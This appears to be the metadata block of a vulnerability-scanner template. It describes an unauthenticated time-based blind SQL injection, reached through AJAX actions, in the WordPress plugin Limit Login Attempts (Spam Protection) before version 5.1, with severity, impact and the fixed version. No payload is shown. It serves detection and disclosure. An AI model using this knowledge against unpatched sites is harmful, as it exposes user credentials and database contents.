info:
  name: Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Limit Login Attempts (Spam Protection) WordPress plugin before 5.1 does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection via AJAX actions to extract database contents, potentially exposing WordPress user credentials and login attempt data.
  remediation: Fixed in version 5.1
